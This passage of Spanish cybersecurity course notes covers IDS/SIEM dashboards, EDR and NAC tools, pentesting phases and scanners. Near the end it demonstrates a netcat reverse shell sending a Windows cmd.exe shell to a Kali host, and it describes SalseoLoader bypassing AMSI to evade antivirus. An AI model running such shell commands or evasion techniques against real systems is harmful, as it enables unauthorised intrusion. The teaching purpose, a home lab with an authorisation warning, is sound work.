En el vídeo se dice: he realizado unas pruebas previamente donde podemos ver que ha detectado
aquí una alerta (imagen 32).

Imagen 32

Me indica desde qué IP viene (imagen 33).

Imagen 33

Página 24 de 141
Aquí tenemos otro dashboard que sería de Suricata, que es un IDS (Intrusion Detection System),
parecido al Snort, pues igual (imagen 34).

Imagen 34

Aquí tenemos las conexiones vía SSH (imagen 35). ¿Por qué tenemos una conexión vía SSH?
Porque la he realizado desde aquí (desde la máquina virtual de Kali Linux)…

Imagen 35

… si nos fijamos, soy selks-user (imagen 36)…

Página 25 de 141
Imagen 36

… entonces, estoy conectado desde la máquina Kali Linux y automáticamente me ha


monitorizado y me lo ha detectado: desde dónde viene, con la versión, desde qué IP ha venido
(imagen 37).

Imagen 37

Para acceder a nuestro panel, ponemos la IP —en el caso del vídeo, 192.168.1.161—, y se
puede ir accediendo a los paneles:

Administration - Ruleset setup and Suricata management (imagen 38)

Administration (Administración) - Configuración del conjunto de reglas y gestión de


Suricata (imagen 38)

Hunt - Advanced threat hunting (imagen 39)

Página 26 de 141
Hunt (Cazar/Buscar/Perseguir) - Búsqueda avanzada de amenazas (imagen 39)

Dashboards - Kibana dashboards for Elasticsearch

Dashboards (Cuadros de mando) - Cuadros de mando Kibana para Elasticsearch

Events Viewer - Evebox alert and event management tool

Events Viewer (Visor de eventos) - Herramienta de gestión de alertas y eventos de Evebox

Imagen 38

Imagen 39

A continuación, en el vídeo se muestran varios dashboards:

Para que veáis que una vez que esto empieza a obtener eventos, podemos tener todo
centralizado de todas las páginas y tener un control de nuestra infraestructura.

Página 27 de 141
[Mientras se ve el dashboard de Kibana]: Lo tengo por defecto, no tengo muchas configuraciones
realizadas. [Se accede a la opción Monitoring]: Aquí, todo lo que hemos visto de Windows
Defender Advanced Threat Protection (ATP) y CrowdStrike lo podríamos enviar vía API a un SIEM.
Habría que ver si este permite recibir datos a través de una API de terceros, pero en principio casi
todos [lo permiten]. [Refiriéndose a la opción Machine Learning]: Ahora está muy de moda.

Desde https://selks/evebox/#/inbox se ven las alertas.

Desde https://selks/evebox/#/events se ve el tráfico que ha recibido la máquina.

Desde https://selks/evebox/#/reports/dns se ve el tráfico DNS, con las páginas que ha hecho


peticiones internamente.

Desde https://selks/evebox/#/reports/flow se ven las peticiones que se han hecho con un


gráfico a las conexiones (Other, DNS, Unknown, HTTP, ntp, SSH, TLS).

ICA0011-S03-C01-V04-Herramientas preventivas. Instalación y configuración


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111809)

En este vídeo, Herramientas preventivas. Instalación y configuración, se ve:

1. Herramientas preventivas.
2. Tipos.
3. Instalación y configuración.
4. Ejemplos

Imagen 40

Herramientas preventivas

Como herramientas preventivas podemos establecer una definición como: software o


dispositivo que intenta prevenir, mitigar o detener una amenaza en un sistema informático.

Página 28 de 141
Imagen 41

Tipos

Antivirus convencionales → Estos son los típicos antivirus que se instalan en un usuario
doméstico: Norton, Avast, Bitdefender…

Antivirus EDR (Endpoint Detection and Response) → Estos antivirus ya son de última
generación. Son antivirus que tienen una consola de monitorización y se instalan a gente que
monitoriza el comportamiento del sistema, o de los sistemas; como Windows Defender ATP
(Advanced Threat Protection), o CrowdStrike [seguramente en referencia a Falcon Insight:
Endpoint Detection & Response (EDR)]. Este último funciona muy bien cuando se ejecutan
procesos en memoria, que es donde suelen fallar casi todos los antivirus convencionales. Si tú
no escribes en disco, muchos de ellos, si no tienen heurística, no van a poder ver qué es lo que
está ejecutando y el comportamiento que está realizando.

https://en.wikipedia.org/wiki/Endpoint_detection_and_response

Endpoint detection and response (EDR), also known as endpoint threat detection and response
(ETDR), is a cybersecurity technology that continually monitors an "endpoint" (e.g. mobile phone,
laptop, Internet-of-Things device) to mitigate malicious cyber threats.

La detección y respuesta a los puntos finales (EDR), también conocida como detección y
respuesta a las amenazas a los puntos finales (ETDR), es una tecnología de ciberseguridad que
supervisa continuamente un "punto final" (por ejemplo, un teléfono móvil, un ordenador portátil
o un dispositivo de Internet de las cosas) para mitigar las ciberamenazas maliciosas.

Firewalls no físicos (basados en software). Como por ejemplo Iptables, el propio de Windows o
pfSense.

WAF (Web Application Firewall). Estos dispositivos o aplicaciones sirven para detectar y mitigar
ataques a nivel de web, o a nivel de aplicación. Por ejemplo: inyecciones SQL, Cross-Site Scripting
(XSS), Local file inclusion (LFI), o Remote Code Execution (RCE).

https://en.wikipedia.org/wiki/Web_application_firewall

Web application firewall

A web application firewall (WAF) is a specific form of application firewall that filters, monitors,
and blocks HTTP traffic to and from a web service. By inspecting HTTP traffic, it can prevent
attacks exploiting a web application's known vulnerabilities, such as SQL injection, cross-site
scripting (XSS), file inclusion, and improper system configuration.

Página 29 de 141
Un web application firewall (WAF) es una forma específica de cortafuegos de aplicaciones que
filtra, supervisa y bloquea el tráfico HTTP hacia y desde un servicio web. Al inspeccionar el tráfico
HTTP, puede prevenir los ataques que explotan las vulnerabilidades conocidas de una aplicación
web, como la inyección SQL, el cross-site scripting (XSS), la inclusión de archivos y la configuración
incorrecta del sistema.

NAC (Network Access Control - Control de Acceso a la Red). Estos son dispositivos que detectan
y analizan o establecen políticas a todos los dispositivos que se conectan previamente a una red.
Por ejemplo, puede ser un dispositivo de pago que se suele montar en diferentes
infraestructuras, un Forescout.

IDS (Intrusion Detection System - Sistema de Detección de Intrusos). Por ejemplo, un Suricata
o un Snort. Funcionan siempre con reglas que nosotros podemos hacer de forma manual o reglas
directamente que comparte la comunidad para detectar y alertar sobre diferentes ataques. Por
ejemplo, yo lanzo un exploit de EternalBlue hacia una máquina que fuese vulnerable y si yo a lo
mejor tengo una regla de estas, va a detectar qué persona o qué equipo ha ejecutado ese exploit.
Esto mismo puede ocurrir cuando un usuario realiza un escaneo interno de la red. Este evento
detectado se enviaría a un SIEM (Security information and event management - Gestión de
información y eventos de seguridad) y esto sería detectado por las personas que está
monitorizando la red. Normalmente se suele centralizar todo en un SOC (Security Operation
Center - Centro de Operaciones de Seguridad), donde hay diferentes niveles para diferentes
alertas y diferentes clientes.

Imagen 42

Instalación y configuración

Aquí voy a poner solamente una breve imagen (imagen 43) de cómo sería para descargar un
sensor para poder configurar Windows Defender ATP, pero digamos el avanzado.

Instalamos un agente en cada uno de los equipos, realizamos una detección para que lo detecte
el dashboard y automáticamente ya estaría monitorizado y ejecutándose un servicio para
detectar todo lo que ocurriera en nuestra máquina.

Página 30 de 141
Imagen 43

En la imagen 44 se ve un timeline de procesos que se ha ejecutado en una máquina. Lo veremos


con un ejemplo que hicimos previamente con SalseoLoader, y vamos a ver el timeline y los
procesos que va ejecutando, desde el proceso padre al proceso hijo.

Imagen 44

Ejemplos

Forescout. Este lo he montado yo en entornos empresariales. Es un control de acceso a la red


(NAC - Network Access Control). Son dispositivos hardware o software virtualizado, pero yo
siempre recomiendo tenerlos hardware, porque tienen mucha más potencia y la detección es
siempre mucho mejor (no voy con sistemas virtualizados, ni pierdo paquetes ni nada por el
estilo. Estos dispositivos son parecidos a un router. Se conectan al core/centro/núcleo de la red
para detectar y tener visibilidad para toda VLANs o todas las subredes que tengamos en nuestra

Página 31 de 141
infraestructura. Si no tuviéramos visibilidad tendríamos que usar un Port Mirroring (puerto
espejo) o un puerto SPAN (Switched Port Analyzer) —para que replique y lo pase todo a un
puerto y de ahí nos lo envíe al Forescout—, pero si no tenemos visibilidad no vamos a poder
gestionar un equipo final.

Nosotros con Forescout qué vamos a poder hacer. Por ejemplo, imaginemos que un usuario
llega a nuestra compañía y antes de que se conecte a la red de invitado nosotros queremos ver
realmente si ese equipo tiene algún tipo de vulnerabilidad o algún fallo que no queremos que
se conecte a nuestra red (yo no quiero que llegue una persona con un equipo desactualizado a
mi infraestructura y se conecte; yo no sé lo que tiene instalado). Entonces, nosotros le podemos
obligar a que se instale un agente, se ejecuta en memoria (una vez que se reinicia el equipo
desaparece dicho agente), y qué le vamos a decir nosotros a este usuario que llega nuevo a
nuestra compañía: yo te pido que tengas instalado un antivirus, que esté actualizado y que se
esté ejecutando. A su vez, te pido que tu sistema operativo esté actualizado. Con estas políticas,
más o menos, puedo prever si el equipo puede ser un alto riesgo para mi compañía o no. Que
cumple todas las políticas: te conectas a la red. Que no las cumple: te vas a una red de
cuarentena. Y hasta que tú no arregles ese asunto no vuelves a la red normal. Por tanto, en el
caso de que alguien haga cualquier acción lo enviamos a una red de cuarentena y ya no está
dentro de nuestra infraestructura.

Imagen 45

Página 32 de 141
CrowdStrike. Igual que Windows Defender ATP (Advanced Threat Protection). Es otra tecnología
de pago EDR (Endpoint Detection and Response).

Imagen 46

ModSecurity. Web application firewall (WAF) open source. Es de Apache. Si no tenemos


presupuesto para comprar Imperva Incapsula o CrowdStrike da una solución no al mismo nivel,
pero si se parametriza muy bien puede dar un rendimiento magnífico.

Imagen 47

Snort. Es un IDS (Intrusion Detection System). A través de diferentes reglas, creadas por nosotros
o compartidas por la comunidad, vamos a poder detectar/mitigar diferentes ataques: un
escaneo a la red con nmap, una ejecución de exploit… Se genera automáticamente una alerta y
podríamos enviarla a un SIEM para que alguien verifique quién ha ejecutado qué y por qué.

Imagen 48

Página 33 de 141
pfSense. Cortafuegos de open source. Este es el que hablábamos al principio: podemos usar
también iptables o el cortafuegos de Windows. Pero bueno, este está con muchas más
configuraciones, nos permite VPN, servicios, crear diferentes reglas, entonces evidentemente
se ejecuta en una máquina y todo el tráfico tiene que pasar por la máquina; no es igual que un
Palo Alto (Palo Alto Networks), un Fortinet o un Check Point, pero si no tenemos presupuesto
para comprar ese tipo de hardware, que suele costar bastante dinero, es una solución asequible
para cualquier compañía.

Imagen 49

ICA0011-S03-C01-V05-WindowsATP-Crowdstrike
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111810)

En este vídeo, Windows ATP [Windows Defender ATP (Advanced Threat Protection)] y
CrowdStrike, se ve:

1. Windows ATP
2. CrowdStrike

Imagen 50

Página 34 de 141
Windows ATP

Windows Defender Advanced Threat Protection (ATP) es un antivirus avanzado donde podemos
tener un centro de monitorización para controlar y ejecutar acciones en los diferentes equipos
donde tengamos instalado el agente.

Imagen 51

¿Cómo instalamos nosotros este agente? Este agente lo vamos a poder instalar nosotros a través
de un dashboard. Este dashboard lo vamos a mostrar aquí (imagen 52). (El dashboard aparece
en la URL https://securitycenter.windows.com/dashboard).

Imagen 52

Para poder nosotros instalar el agente y que nuestro dashboard (imagen 52) lo detecte, hay que
ir a la opción de Settings (https://securitycenter.windows.com/preferences2/general) y, en la
parte de la izquierda, donde pone Machine management, se pulsa en Onboarding
(https://securitycenter.windows.com/preferences2/onboarding). Esta opción es la que va a
poder realizar la ejecución y la detección de nuestro equipo en el dashboard.

Página 35 de 141
Imagen 53

Hay diferentes formas de desplegar/implantar esto (Deployment method), o bien a través de


políticas de grupo (Group Policy); script local (Local Script (for up to 10 machines)); con Intune,
que es una opción que trae Azure (Mobile Device Management / Microsoft Intune).

En este caso se ha utilizado la opción Local Script (for up to 10 machines), y por ello en la parte
superior ya aparece First machine onboarded: Completed (imagen 54).

Imagen 54

Nosotros ya previamente hemos descargado el script —


WindowsDefenderATPOnboardingPackage.zip →
WindowsDefenderATPLocalOnboardingScript— y, si vemos el contenido, se ve qué es lo que
ejecuta (imagen 55).

Página 36 de 141
Imagen 55

El script hay que ejecutarlo con permisos de Administrador; si no, no va a poder realizar queries
en el registro.

Una vez que se ha ejecutado el script en cada una de las máquinas que vamos a querer controlar,
tenemos que hacer una detección (Run a detection test, en la URL
https://securitycenter.windows.com/preferences2/onboarding). La detección es para verificar
si este dispositivo ha sido detectado por nuestro dashboard. Para ello, hay que ejecutar el
script/acción en PowerShell señalado en la imagen 56 y, automáticamente, se hará la conexión
con nuestro dashboard.

Imagen 56

¿Cuándo vamos a detectarlo? Pasados unos 5 minutos, que se hace el refresco, ya aparecerá el
equipo detectado. En el vídeo, en la barra de búsqueda superior, ubicada al lado de Machine, se

Página 37 de 141
busca prueba. Y en https://securitycenter.windows.com/search/machines/prueba aparece el
equipo (imagen 57).

Imagen 57

En Machine name se clica en prueba (imagen 58).

Imagen 58

Una vez que tenemos el equipo detectado vamos a poder realizar diferentes acciones contra el
EndPoint: realizar escaneos, poner el equipo en cuarentena, ver qué aplicaciones tiene
instaladas, si tiene vulnerabilidades el dispositivo (bien sea porque le falta un parche de
seguridad o porque tiene una aplicación maliciosa…).

Página 38 de 141
En el vídeo se hace clic en Alerts…

Imagen 59

… Y se clica en PowerShell script run without powershell.exe y se dice: yo previamente he


ejecutado ciertos scripts, como SalseoLoader, que es para explotación en Windows; se usa mucho
cuando vamos a hacer una auditoría en una infraestructura Windows; con esto lo que hacemos
es baipasear AMSI —Windows antimalware Scan Interface (AMSI)—, que es una de las medidas
de protección que sacó Windows para evitar la ejecución de scripts maliciosos. Si se hace clic en
SalseoLoader_x86.exe se ven diferentes detalles, como el Process name, el Process ID… Además,
en el árbol de la izquierda se ve desde el proceso padre al proceso hijo todo lo que ha ido
ejecutando la máquina.

Imagen 60

Página 39 de 141
Por otro lado, desde Software Inventory se puede ver todo lo que tiene instalado la máquina
(imagen 61).

Imagen 61

Otra opción interesante es Discovered vulnerabilities, que muestra las vulnerabilidades


detectadas en la máquina.

CrowdStrike

Primeramente, se enseña el dashboard de CrowdStrike (ubicado en la URL


https://falcon.crowdstrike.com/activity/dashboard) (imagen 62).

Imagen 62

CrowdStrike se está haciendo muy famoso porque es uno de los mejores antivirus que analiza la
memoria de cada uno de los equipos.

Página 40 de 141
Desde el dashboard vamos a poder buscar nuestro host (Investigate → Host Search) y
CrowdStrike nos da mucha información (imagen 63).

Imagen 63

Entre otros, se ven los procesos que se están ejecutando, los servicios, el PID, podemos acceder
a cada una de las acciones de dicho proceso (desde CommandLine). Luego, dependiendo de las
políticas configuradas, va a detectar todo de forma más agresiva o menos agresiva. Por ejemplo,
se clica en el CommandLine señalado en la imagen 64…

Imagen 64

… Y se puede ver el nombre del ordenador (ComputerName), el proceso con el comando que
está ejecutando (CommandLine), la MAC, etc.

Página 41 de 141
Imagen 65

Respecto a dashboard (https://falcon.crowdstrike.com/activity/dashboard), son casi todos


similares, pero cada uno trabaja de forma mejor con unas cosas u otras.

Respecto a los grupos (https://falcon.crowdstrike.com/hosts/groups-new), podemos generar


diferentes grupos para asignar diferentes máquinas (imagen 66).

Imagen 66

Para instalar el agente, hay que ir a Hosts → Sensor Downloads


(https://falcon.crowdstrike.com/hosts/sensor-downloads) y seguir 3 pasos (imagen 67).

Página 42 de 141
Imagen 67

Cabe destacar que todas estas soluciones que hemos mostrado son todas de pago, pero son las
que nos encontramos en los entornos empresariales: CrowdStrike; Windows Defender ATP
(Advanced Threat Protection); McAfee ePolicy Orchestrator (ePO); Kaspersky; Panda; VMware
Carbon Black (Endpoint Security Solution | VMware Carbon Black Endpoint) es muy bueno, pero
muy caro; Sophos… Hay infinidades, no podemos mostrar todos, pero he mostrado los que son
para mí más relevantes y yo desplegaría en una organización.

S04. Pentesting y Forense

ICA0011-S04-C01-V01-Pentesting
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111815)

En este video, Pentesting, se habla de:

1. ¿Qué es un pentesting?
2. Tipos de pentesting
3. Fases de un pentesting
4. Practicar pentesting

Imagen 68

Página 43 de 141
¿Qué es un pentesting?

Un pentesting son una serie de comprobaciones y pruebas que se realizan contra un sistema
informático, aplicativo web o red en busca de fallos o debilidades.

Imagen 69

Tipos de pentesting

White Box (Caja Blanca). Es cuando una empresa, por ejemplo, contrata los servicios de un
tercero para que le realice una serie de comprobaciones en su sistema informático. Cuando es
un pentesting de caja blanca se conoce la parte de la infraestructura a auditar, o se pueden
proporcionar credenciales, o directamente si es un aplicativo web y tiene parte autenticada y
parte no autenticada, en este caso sí que nosotros tendríamos a la totalidad del aplicativo web.
Por eso se definiría como caja blanca.

Black Box (Caja Negra). No tenemos ningún tipo de información del objetivo o target. Es decir,
a lo mejor solamente nos dan una URL y a partir de esa URL nosotros tenemos que empezar a
auditar. Si tuviera una parte autenticada, o un panel de autenticación, tendríamos que intentar
baipasear dicho panel. Cuando hacemos una caja negra, por ejemplo, en una red local,
automáticamente lo que se suele hacer es que te llevan a un departamento, te dejan conectarte
a una toma de RJ-45 y a partir de ahí tienes que empezar a averiguar cómo conseguirías acceder
a la red interna de la compañía.

Gray Box (Caja Gris). Aquí es un combinado de caja negra y caja blanca. Al final, tenemos parte
de información, pero a lo mejor esta información no es la suficiente como para tener un control
completo de nuestra infraestructura. Por ejemplo, nos dicen que auditemos un Active Directory,
y nos dan un usuario con pocos privilegios. Y nos dicen: con este usuario, simulando a un
empleado, hasta dónde puedes llegar. Aquí es donde entraría la caja gris: tenemos un usuario
con pocos privilegios dentro de la organización, pero no podemos realizar todas las tareas que
hace un administrador global, por ejemplo.

Página 44 de 141
Imagen 70

¿Qué tipos de pentesting hay? Tenemos:

Test de intrusión. Es cuando realizamos un test contra un sistema y normalmente sin conocer
nada del objetivo, realizándose un test de caja negra.

Análisis de vulnerabilidades. Cuando se realizan estos tipos de escáneres, pueden ser de forma
automática o de forma manual. Aquí entra un poco también dependiendo de lo que la empresa
busque y realmente lo que pueda llegar a pagar: siempre vale más un análisis de
vulnerabilidades manual que automático. Automático al final es coger una herramienta, la
ejecuto, voy quitando los falsos positivos que me pueda generar dicha herramienta y generamos
un reporting/informe.

Ejercicios Red Teaming. Estos tipos de ejercicios simulan un ataque real contra una
organización. Es decir, cuando una compañía contrata un ejercicio de red teaming lo que intenta
es simular qué es lo podría llegar a hacer un ciberdelincuente, desde fuera, sin saber nada de la
organización. En este caso, a lo mejor te dan un target y te dicen tienes que intentar acceder a
los sistemas de esta compañía. Pero no sabes nada más; aquí tienes que tener un equipo muy
bueno detrás donde al final lo que se está buscando/poniendo a prueba es el equipo azul (blue
team), que es el que defiende.

Imagen 71

Página 45 de 141
Fases de un pentesting

Las fases de un pentesting se dividen en: recopilación de información, búsqueda de


vulnerabilidades, explotación y luego la generación de un informe de cada una de las fases que
sean llevadas a cabo dentro de un pentesting.

Recopilación de información. Puede ser de forma activa o pasiva.

→ Activa: Por ejemplo, nosotros podemos lanzar o bien un escáner automático o


manual o buscar directamente información a través de internet desde Shodan Search
Engine, [¿FOCA?], [¿?], https://censys.io/, para ver qué tipo de información podemos
obtener desde fuera.

Búsqueda de Vulnerabilidades. Con escáneres automáticos o manualmente.

Una vez tenemos la información del objetivo (servicios que se están ejecutando, puertos
abiertos/cerrados…) podremos buscar vulnerabilidades [¿por versión?], o usar desde la
parte de recopilación de información escáneres automáticos.

Una vez que hemos encontrado una vulnerabilidad y que vemos que la podemos
explotar, vamos a la fase de explotación.

Explotación de la(s) vulnerabilidad(es). Exploit públicos, Local file inclusion (LFI), Cross-Site
Scripting (XSS).

Siempre que explotamos, explotamos una vulnerabilidad. Puede estar catalogada por el
fabricante o no. Si no estuviera catalogada por el fabricante sería un zero day (ataque
de día cero) o un fallo de configuración.

¿Qué tipo de vulnerabilidad podemos encontrar? Desde un Local file inclusion (LFI) o un
Cross-Site Scripting (XSS) o directamente la vulnerabilidad con exploit públicos (como
pasaba con EternalBlue).

Post-Explotación. Escalación de privilegios, movimientos laterales, persistencia.

Una vez que hemos conseguido explotar una vulnerabilidad y hemos tenido acceso a un
sistema, la siguiente fase es intentar escalar privilegios, o intentar movernos
internamente por la compañía. Y, a su vez, una vez que nos hemos colado o entrado
dentro de un sistema, lo que siempre vamos a intentar es que cuando ese sistema se
reinicie, nosotros podamos volver a acceder. Para ello entra en juego lo que es la
persistencia.

Una vez que hemos logrado todas estas fases, aunque no tiene por qué haberlas todas
(nosotros podemos llegar hasta una vulnerabilidad y que por su infraestructura no
podamos explotarla). Una vez que hemos ido por cada una de las fases, la última de
todas siempre es la generación de un informe.

Elaboración de un informe. Informe Ejecutivo; Informe Técnico con evidencias; Presentación de


resultados.

Aquí, en la generación de un informe, entran en juego 2 partes:

Informe Ejecutivo. No debe ser tan técnico, ya que va a ser leído por personas
que a lo mejor no son ingenieros o directamente no saben nada de informática,
pero hay que explicarles por qué su sistema es vulnerable.

Página 46 de 141
Informe Técnico. Donde explicamos cada una de las vulnerabilidades que
hayamos encontrado, junto con una prueba de concepto o una explotación de
cómo se ha conseguido llegar a ella.

Presentación de resultados.

Imagen 72

¿Practicar pentesting?

¿Dónde podemos practicar pentesting? Tenemos diferentes plataformas:

Hack The Box: Hacking Training For The Best | Individuals & Companies -
https://www.hackthebox.com/

Vulnerable By Design ~ VulnHub - https://www.vulnhub.com/

PentesterLab: Learn Web Penetration Testing: The Right Way - https://pentesterlab.com/

Hack The Box → Plataforma gratuita, aunque luego hay diferentes opciones de pago,
pero es una forma gratuita de practicar contra sistemas reales que son vulnerables a una
vulnerabilidad.

VulnHub → Nos descargamos las máquinas virtuales e intentamos explotarlas. Hay


algunas que tienen la solución, donde se indica paso a paso cómo ha sido la explotación
de la máquina: desde entrar como un usuario hasta escalar privilegios dentro de ella.

PentesterLab → Es de pago, pero es muy bueno porque está muy actualizado y es muy
recomendable si queremos auditar aplicativos web.

Imagen 73

Página 47 de 141
En el vídeo se muestra Hack The Box, y se dice:

Tenemos una plataforma completa, con infinidad de máquinas, de diferentes niveles;


desde nivel bajo hasta nivel alto.

Tenemos diferentes retos (Challenges), retos de diferentes categorías informáticas


(Reversing, Crypto, Stego, Pwn, Web, Misc, Forensics, Mobile, OSINT, Unreleased,
Submissions). Y dentro de cada uno de ellos tenemos diferentes tipos de retos con
diferentes niveles.

Hay que tener mucho cuidado al realizar pentesting fuera de sitios no autorizados, ya
que es delito.

En el vídeo se muestra VulnHub, y se dice:

Tenemos las máquinas donde las podemos descargar, con diferentes niveles. Se
descargan localmente y ya practicamos pentesting en nuestro ordenador.

ICA0011-S04-C01-V02-Escáneres automáticos y herramientas de pentesting


(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111816)

En este vídeo, Herramientas de pentesting y escáneres automáticos, se ve:

1. Escáneres
2. Herramientas pentesting

Imagen 74

Escáneres

Se pueden dividir en 2. Sin embargo, hay que tener en cuenta que las herramientas manuales,
aunque están muy automatizadas, no pueden llegar a definirse como un propio escáner
automático donde busca y realiza más acciones que algunas de las herramientas de las cuales
luego hablaremos.

Como escáneres automáticos tenemos:

Qualys - Es un escáner automático de pago.

Nessus - También es de pago, aunque tenemos una versión trial de algunos días.
Solamente podemos escanear 16 hosts. Es una herramienta muy buena cuando
tenemos infraestructuras un poco grandes y los rangos de red son grandes. Nos da, de
buenas a primeras, mucha información sobre la organización interna y las
configuraciones que se puedan tener.

Página 48 de 141
Acunetix - Es una herramienta muy utilizada para auditorías web. Es una herramienta
muy potente. También es de pago, pero son las que se suelen utilizar a día de hoy en
auditorías.

Netsparker - Ahora Invicti. Herramienta muy similar a Acunetix, pero de otra compañía.
También es de pago.

He puesto aquí herramientas de pago porque, al final, cuando estás en una organización se usan
herramientas de pago. Bien es cierto que hay veces en las que se utilizan herramientas open
source, pero no tienen el mismo potencial.

Como Herramientas manuales están:

Nmap / SPARTA - Para temas de escáneres de IPs, ver qué puertos están abiertos y qué
servicios están corriendo.

Dirbsearch Scanner - Para hacer fuerza bruta a los posibles directorios de un servicio
web, con el fin de encontrar directorios o ficheros que estuvieran ocultos o se hubieran
olvidado y no deberían estar ahí.

Metasploit - Es un framework de explotación y [¿?]. También nos facilita una serie de


módulos, escáneres, exploits, Reverse Shell, y sinfín de funcionalidades.

Netcat - Es una herramienta muy utilizada para, por ejemplo, enviarnos una consola
desde un sistema a otro, y poder tener una consola de texto.

LinEnum - Es un script que se usa mucho en explotación de Linux. Es para verificar


posibles configuraciones, ficheros o malas prácticas de hardening sobre un sistema
operativo.

SalseoLoader - Es otra herramienta que, por ejemplo, nos facilita el baipaseo a una
protección que sacó Microsoft en 2018 —Windows antimalware Scan Interface (AMSI)
—, que evita la ejecución de scripts. Con SalseoLoader lo que hacemos es un baipás de
esa protección incorporada por Microsoft —AMSI— y, a su vez, esto lo inyectamos en
memoria. Es decir, en ningún momento tocaríamos disco, todo lo que ejecutemos a
partir de una Shell enviada con SalseoLoader tendremos todas las opciones ejecutadas
desde memoria. Por lo cual, conseguiremos baipasear a muchos antivirus.

Imagen 75

Página 49 de 141
Qualys

Se explica: qué funcionalidad tiene Qualys, dónde lo colocaríamos dentro de una red y qué
podríamos llegar a hacer con él.

Qualys - tenemos 2 formas de instalación:

A través de un agente que se instala en cada uno de los equipos. Esto envía información
o ejecuta una serie de acciones que nosotros enviamos desde un dashboard.

Instalar una máquina virtual (.ova), que se llama un appliance, que es lo de la imagen
76. Tenemos que instalarlo en el core de la red, en el centro de nuestra infraestructura,
donde tengamos visibilidad en todas las redes. Si tuviéramos diferentes VLANs,
tendríamos que montar diferentes appliances en cada una de estas VLANs o,
directamente, crear una ruta con Iptables, o con el firewall que se tenga, indicando que
lo que viniera desde la IP del appliance hacia esa VLAN se le permitiera el acceso.

Imagen 76

Nessus

Nessus es un escáner muy versátil para infraestructuras muy grandes. Nosotros, a día de hoy, en
nuestra empresa lo usamos para cuando llegamos a redes muy grandes tener una visibilidad de
qué nos podemos encontrar, para luego ir de forma manual y poco a poco quitando falsos
positivos o centrarnos en otro tipo de vector de ataque.

Imagen 77

Página 50 de 141
Acunetix

Acunetix. Como se ve en la imagen 78, podemos ver que es un escáner que nos permite
diferentes funcionalidades de un escáner web.

Imagen 78

A continuación, en el vídeo se muestra una ventana de Acunetix (imagen 79)…

Imagen 79

… y se dice: nosotros hemos escaneado nuestra máquina virtual Kali, que tiene corriendo un
servicio Apache, que se muestra con service apache2 status (imagen 80)…

Página 51 de 141
Imagen 80

Nosotros, con Acunetix, le hemos lanzado un escáner a ese servidor. Podríamos ver diferentes
posibles vulnerabilidades o malas prácticas que tuviera (imagen 81).

Imagen 81

En el vídeo, se hace clic en el botón Report y se genera un informe de lo que ha encontrado. Lo


va estableciendo junto con la clasificación/score y la debilidad que sea. Por ejemplo, CWE es
exposición de información, donde es posible ejecutar diferentes métodos habilitados en el
servidor web (imagen 82).

Common Weakness Enumeration (CWE) - Enumeración de debilidades comunes (CWE)

Página 52 de 141
Imagen 82

Netsparker (Ahora Invicti)

Es muy similar a Acunetix. Se ha realizado un escáner contra nuestro servidor Apache que
tenemos corriendo en Kali Linux. Indica posibles vulnerabilidades/debilidades. Esto contra una
página web más grande daría mucha más información en caso de que fuese vulnerable (no todo
tiene por qué ser vulnerable).

Imagen 83

Estas aplicaciones no se pueden ejecutar contra entornos no controlados o contra aquellos con
los que no se cuente con la autorización pertinente.

Página 53 de 141
ICA0011-S04-C01-V02-Escaneres automaticos y herramientas de penetracion_2
(https://lasallefponline.sallenet.org/mod/videofile/view.php?id=111817)

Herramientas pentesting

Vamos a ver diferentes herramientas y funcionalidades que vamos a poder obtener con las
herramientas que hemos nombrado en el inicio del tema.

Netcat

netcat es una herramienta muy versátil donde nos permite enviarnos diferentes consolas desde
un sistema. Es muy utilizado para ponernos a la escucha cuando queremos enviar una Reverse
Shell en un pentest o en un test de intrusión. También es muy utilizado para enviarnos ficheros
de una máquina a otra a través de la red.

Argumentos de netcat:
-v
-l
-p
-w

Ejemplo: nc -vlp 80

--

-l: Listen mode (default is client mode).

-L: Listen harder, supported only on the Windows version of Netcat. This option makes Netcat
a persistent listener that starts listening again after a client disconnects.

-u: UDP mode (default is TCP).

-p: Local port (in listen mode, this is the port that is listened on).

-e: Program to execute after a connection has been established.

-n: Don't perform a DNS lookup (name resolution) on the names of the machines on the other
side.

-z: Zero I/O mode Recuérdese que I/O significa Input / Output

-w(N): Timeout for connections. A Netcat client or listener with this option will wait for N
seconds to make a connection. For example, w1 or w2.

-v: Be verbose.

-vv: Be very verbose.

-l: Modo de escucha (por defecto es el modo cliente).

-L: Escucha más dura, soportada sólo en la versión de Windows de Netcat. Esta opción hace que
Netcat sea un oyente persistente que comienza a escuchar de nuevo después de que un cliente
se desconecte.

-u: Modo UDP (por defecto es TCP).

Página 54 de 141
-p: Puerto local (en modo de escucha, este es el puerto en el que se escucha).

-e: Programa a ejecutar después de establecer una conexión.

-n: No realizar una búsqueda de DNS (resolución de nombres) en los nombres de las máquinas
del otro lado.

-z: Modo de E/S cero.

-w(N): Tiempo de espera para las conexiones. Un cliente o escuchador Netcat con esta opción
esperará N segundos para realizar una conexión. Por ejemplo, w1 o w2.

-v: Ser verboso.

-vv: Ser muy detallista.

Imagen 84

Vamos a ver un ejemplo de cómo enviaríamos una consola de mi sistema anfitrión Windows
hacia mi consola Kali.

Primeramente, desde la consola de Kali Linux se hace nc -vlp 1234 (imagen 85). De este
modo, nos ponemos a la escucha en el puerto 1234, donde va a ser donde nosotros vamos a
ejecutar nuestro netcat en el anfitrión Windows y nos lo vamos a enviar a esta máquina.

Imagen 85

Página 55 de 141
Ahora, en Windows PowerShell se tiene puesto este comando: .\nc.exe 192.168.1.150
1234 -e C:\Windows\System32\cmd.exe (imagen 86).

Y se dice:

Tenemos nosotros nuestro binario .exe de netcat → .\nc.exe

Donde le estamos indicando que se conecte a la IP → 192.168.1.150

A través del puerto → 1234

Y que nos envíe una consola de cmd → -e C:\Windows\System32\cmd.exe

Imagen 86

Entonces, cuando se ejecuta el comando de Windows PowerShell, en la consola de Kali Linux


aparece la consola de cmd (imagen 87).

Imagen 87

Como se aprecia en la imagen 87, en la consola de Kali Linux aparece la ruta


(C:\Users\franky\Desktop\tools>), que es la misma que se ve en Windows
PowerShell (C:\Users\franky\Desktop\tools>).

Si se ejecuta whoami en Kali Linux → Nos indica que el usuario es franky

Si se ejecuta whoami /priv se pueden comprobar los permisos que tuviéramos en la


máquina.

Página 56 de 141
Imagen 88

Entonces, nos hemos enviado una consola de Windows a nuestro sistema Linux.

dirsearch (https://github.com/maurosoria/dirsearch)

Imagen 89

Página 57 de 141
Argumentos de dirsearch

